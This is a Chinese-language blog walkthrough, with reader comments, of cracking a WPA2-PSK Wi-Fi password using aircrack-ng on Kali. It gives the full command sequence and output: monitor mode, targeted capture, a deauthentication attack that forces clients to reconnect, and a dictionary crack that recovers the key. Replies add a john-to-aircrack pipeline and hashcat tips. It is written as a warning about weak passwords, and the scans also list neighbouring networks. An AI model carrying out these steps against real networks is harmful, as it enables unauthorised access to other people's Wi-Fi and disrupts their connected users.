以前的Wifi AP 採 WEP 通訊加密,只要攔截足夠的封包(一般會借助 aireplay-nt -3 )就能解密,最近的 AP 大都改採 WPA2 ,大家都說 WPA2 比 WEP 更安全,但是如果密碼強度不足(例如使用出廠預設值),環境因素也配合,其實也蠻好破解的。
本篇就是針對採用 WPA2-PSK AP進行破解的紀錄,看完之後你應該不會再認為 WPA2 很安全。
為了不讓一般人掃描到此 AP,此 AP 已隱藏 SSID,在不知 SSID 下其實透過 airodump-ng 很容就可以找出隱藏的 SSID,此次破解使用到的工具軟體如下:
ifconfig :啟動及查看網卡狀態。
iwconfig :查看無線網卡的狀態及作用模式。
airmon-ng :將無線網卡啟用在監聽模式。
airodump-ng :擷取往來的封包。
aireplay-ng :利用阻斷方式讓 Client重新尋求連線。
aircrack-ng :利用擷取的封包檔進行破解,
root@kali104:/# lsusb 利用 lsusb 查看 USB 的裝置資訊
Bus 001 Device 002: ID 148f:3070 Ralink Technology, Corp. RT2870/RT3070 Wireless Adapter
Bus 002 Device 002: ID 0e0f:0003 VMware, Inc. Virtual Mouse
Bus 002 Device 003: ID 0e0f:0002 VMware, Inc. Virtual USB Hub
root@kali104:/# ifconfig USB網卡剛接上時,ifconfig 還看不到
eth0 Link encap:Ethernet HWaddr 00:0c:29:c8:c6:3f
inet addr:192.168.206.128 Bcast:192.168.206.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
(部分訊息省略~~)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
(部分訊息省略~~)
root@kali104:/# iwconfig 利用 iwconfig 則可以看到網卡為 wlan0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=0 dBm p;p;
Retry long limit:7 RTS thr:off Fragment thr:offffff
Encryption key:offff
Power Management:onon
root@kali104:/# ifconfig wlan0 up 利用 ifconfig 啟動 wlan0 網卡
root@kali104:/# ifconfig
eth0 Link encap:Ethernet HWaddr 00:0c:29:c8:c6:3f
inet addr:192.168.206.128 Bcast:192.168.206.255 Mask:255.255.255.0
inet6 addr: fe80::20c:29ff:fec8:c63f/64 Scope:Link
(部分訊息省略~~)
lo Link encap:Local Loopback
inet addr:127.0.0.1 Mask:255.0.0.0
inet6 addr: ::1/128 Scope:Host
(部分訊息省略~~)
wlan0 Link encap:Ethernet HWaddr 00:0c:43:a4:33:a1 <== 此網卡的 BSSID
UP BROADCAST MULTICAST MTU:1500 Metric:1
RX packets:0 errors:0 dropped:0 overruns:0 frame:0
TX packets:0 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:1000
RX bytes:0 (0.0 B) TX bytes:0 (0.0 B)
root@kali104:/# airmon-ng start wlan0
Found 1 processes that could cause trouble.
If airodump-ng, aireplay-ng or airtun-ng stops working after
a short period of time, you may want to kill (some of) them!
-e
PID Name
2669 dhclient
Interface Chipset Driver
wlan0 Ralink RT2870/3070 rt2800usb - [phy0]
(monitor mode enabled on mon0) wlan0 已開啟監聽模式,接口名稱為 mon0
root@kali104:/# aireplay-ng -9 mon0
08:27:31 Trying broadcast probe requests...
08:27:33 No Answer... 利用 aireplay-ng 測試,結果收不到訊號
08:27:33 Found 0 APs
前面說過這個 USB 網卡有時會收不到訊號,用 aireplay-ng 測一下就知道了,如果你的網卡可以正常啟用監聽模式,就不會理會下面的處理方法。
決解方式就是啟用 airodump-ng mon0 (會掃描 Channel,但收不到封包),等 Channel 掃描過一輪,然後就直接拔掉 USB 接頭,airodump-ng 的掃描動作會 hung 住,將 hung 住的 Console 關掉,約等三秒鐘,再將 USB 插回,並重新開啟一個新的 Console,再依序執行
ifconfig wlan0 up
airmon-ng start wlan0
root@kali104:/# aireplay-ng -9 mon0 重新啟用監聽模式後,再試一次 arieplay-ng
08:32:26 Trying broadcast probe requests...
08:32:26 Injection is working!
08:32:28 Found 5 APs
08:32:28 Trying directed probe requests...
08:32:28 C8:6C:87:2F:C4:7B - channel: 1 - 'CHT1823'
08:32:29 Ping (min/avg/max): 1.933ms/19.430ms/59.587ms Power: -77.47
08:32:29 30/30: 100%
08:32:29 C8:6C:87:12:14:9F - channel: 1 - 'CHT7627'
08:32:29 Ping (min/avg/max): 2.308ms/19.877ms/51.861ms Power: -66.13
08:32:29 30/30: 100%
08:32:29 00:26:5A:18:CE:0B - channel: 1 - 'alps007'
08:32:30 Ping (min/avg/max): 2.911ms/22.709ms/30.617ms Power: -77.67
08:32:30 30/30: 100%
08:32:30 B0:B2:DC:30:D0:B0 - channel: 1 - 'CHT8872'
08:32:34 Ping (min/avg/max): 3.144ms/7.718ms/13.795ms Power: -81.08
08:32:34 13/30: 43%
08:32:34 00:26:5A:18:D0:81 - channel: 1 - 'alps002'
08:32:34 Ping (min/avg/max): 2.663ms/20.470ms/37.405ms Power: -79.93
08:32:34 30/30: 100%
root@kali104:/# iwconfig 再用 iwconfig 就可以看到 wlan0 及監聽接口 mon0
wlan0 IEEE 802.11bgn ESSID:off/any
Mode:Managed Access Point: Not-Associated Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Encryption key:off
Power Management:on
mon0 IEEE 802.11bgn Mode:Monitor Frequency:2.412 GHz Tx-Power=20 dBm
Retry long limit:7 RTS thr:off Fragment thr:off
Power Management:on
root@kali104:/# airodump-ng mon0
BSSID PWR Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID
02:2C:2C:BF:6B:BA -1 9 0 0 10 11 OPN HP43A43B
08:10:77:69:1D:E0 -43 21 30 0 9 54e WPA2 CCMP PSK AP_WPA
C8:6C:87:12:14:9F -62 10 1 0 1 54e WPA CCMP PSK CHT7627
00:26:5A:18:D0:82 -77 5 0 0 5 54e. OPN alps001
00:26:5A:18:CE:0B -78 3 3 0 1 54e. OPN alps0077
C8:6C:87:2F:C4:7B -78 7 0 0 1 54e WPA TKIP PSK CHT1823
00:13:46:FF:01:32 -79 7 0 0 6 54 . OPN alps01
00:26:5A:18:D0:94 -80 5 0 0 6 54e. OPN alps004
00:26:5A:18:D0:81 -83 2 0 0 1 54e. OPN alps002
78:44:76:FA:0A:DC -83 2 0 0 5 54e WPA2 CCMP PSK TOTOLINK N300RA
00:D0:41:D1:8C:06 -84 3 0 0 11 54e WPA2 CCMP PSK Belle
BSSID STATION PWR Rate Lost Frames Probe
(not associated) 00:21:00:69:39:8B -20 0 - 1 1 3 AP_WPA
02:2C:2C:BF:6B:BA 68:B5:99:43:A4:3B -80 0 - 1 68 9
08:10:77:69:1D:E0 18:00:2D:97:F5:34 -127 0e- 0e 0 4
08:10:77:69:1D:E0 8C:A9:82:1F:C8:18 -127 0e- 0e 0 27
root@kali104:/# airodump-ng -w /tmp/ap_cmj2 -c 9 --bssid 08:10:77:69:1D:E0 mon0
-w /tmp/ap_cmj2 將擷取到的封包寫到檔案裡
-c 9 指定監聽 Channel 9
--bssid 08:10:77:69:1D:E0 mon0 指定 AP_WPA 的 MAC address
然後開啟另一個Console,要使用 aireplay -0 10 -a 08:10:77:69:1D:E0 ,發送阻斷信號,好讓 Client重新提出連線認證!
root@kali104:/# aireplay-ng -0 10 -a 08:10:77:69:1D:E0 mon0
10:09:07 Waiting for beacon frame (BSSID: 08:10:77:69:1D:E0) on channel 9
NB: this attack is more effective when targeting
a connected wireless client (-c<client's mac>).
10:09:07 Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]
(部分訊息省略~~)
10:09:12 Sending DeAuth to broadcast -- BSSID: [08:10:77:69:1D:E0]
原來的 Console 則繼續擷取封包!
CH 9 ][ Elapsed: 1 min ][ 2007-04-26 17:41 ][ WPA handshake: 00:14:6C:7E:40:80 BSSID PWR RXQ Beacons #Data, #/s CH MB ENC CIPHER AUTH ESSID 08:10:77:69:1D:E0 -52 100 379 97030 1 9 54e WPA2 CCMP PSK <length:7> BSSID STATION PWR Rate Lost Frames Probes 08:10:77:69:1D:E0 00:0F:B5:32:31:31 -22 36-24 2 14 08:10:77:69:1D:E0 00:14:A4:3F:8D:13 -36 0-0 0 4 08:10:77:69:1D:E0 00:0C:41:52:D1:D1 -42 36-36 0 5 root@kali104:/# 按下 Ctrl+C 返回提示號大約擷取 90000 個封包數即可,此時按下 Ctrl-C ,中止 airodump-ng 的執行,接著用 aircrack-ng 對擷取的封包檔進行破解,記得要佐以密碼檔(很重要!)
root@kali104:/tmp# aircrack-ng -w /usr/share/john/password.lst,/usr/share/metasploit-framework/data/john/wordlists/password.lst ap_cmj2A-*.cap
不到一秒鐘就完成密碼破解,密碼就是「1qaz2wsx3edc4rfv」
後記:要能順利破解 WPA 的密鑰,有兩項重要因素:
一、該 AP 要正好有人透過它上網。(不然就抓不到解碼用的封包)
二、字典檔要正好有此 AP 使用的密鑰。
我執行 sudo airodump-ng mon0 的時候
回覆刪除出現
nl80211 not found.
Interface mon0:
ioctl(SIOCGIFINDEX) failed: No such device
請問該怎麼修改
抱歉! 我無法確切解決您的問題,謹提供下列網址供參。裡頭有一則是關於「ioctl(SIOCGIFINDEX) failed: No such device」
刪除http://www.aircrack-ng.org/doku.php?id=faq#why_do_i_get_ioctl_siocgifindex_failedno_such_device
如果不是因為上列因素,有可能是網卡驅動程式的問題,不是每一款無線網卡都適合aircarck-ng,您可以參考
http://www.aircrack-ng.org/doku.php?id=compatible_cards。
哥 我在監聽時 全部出現 (not associated)
刪除也 macchanger 了 也是沒用 不知道是哪裡出問題>"<
網卡是 ALFA rtl8192cu @@?
請大大為小滴 指點迷津°
哥 我有支持你的 KALI LINUX 滲透測試工具喔 讚
首先感謝您的支持!
刪除「監聽」是指用 airodump-ng 嗎? 在書的 7-14 頁有提到 not associated 是指Client 還沒連到 AP。可是這跟 macchanger 無關才是,要破解密碼是對 AP ,Client 只是用來發動 replay 的工具,如果沒有 Client 連線到目標 AP ,也可以利用 aireplay-ng 1 的方式,發送假的授權請求封包
哥 謝謝°
刪除小的來試試°
作者已經移除這則留言。
回覆刪除1.請問一下要如何查到網卡是否有支援監聽/注入功能
回覆刪除或是有清單明確寫出廠牌型號有支援 監聽/注入功能
2.破解封包的密碼..此程式只支援"字典檔"破解?
萬一字典檔內沒有此密碼..那也無法破解?!
有辦法設定暴力破解嗎?
謝謝!!
1.有關合用的晶片可參考 https://www.aircrack-ng.org/doku.php?id=compatibility_drivers,
刪除2.您的想法非常好,我在網路上找到一種用法
john --stdout --wordlist=specialrules.lst --rules | aircrack-ng -e test -a 2 -w - /root/capture/wpa.cap
它說是利用 john 產生密碼再餵給 aircrack-ng,但我沒有親自測過,不知效果如何?僅提供參考,這篇文章發表在 https://www.aircrack-ng.org/doku.php?id=aircrack-ng
另外有位朋友分享另一組工具 :HashCat,也轉給您參考
用aircrack 解cap 每秒約1000行
後來改用HashCat(GUI)每秒約10000行,搭配適合的硬體應該可以到每秒35000行,速度快上不少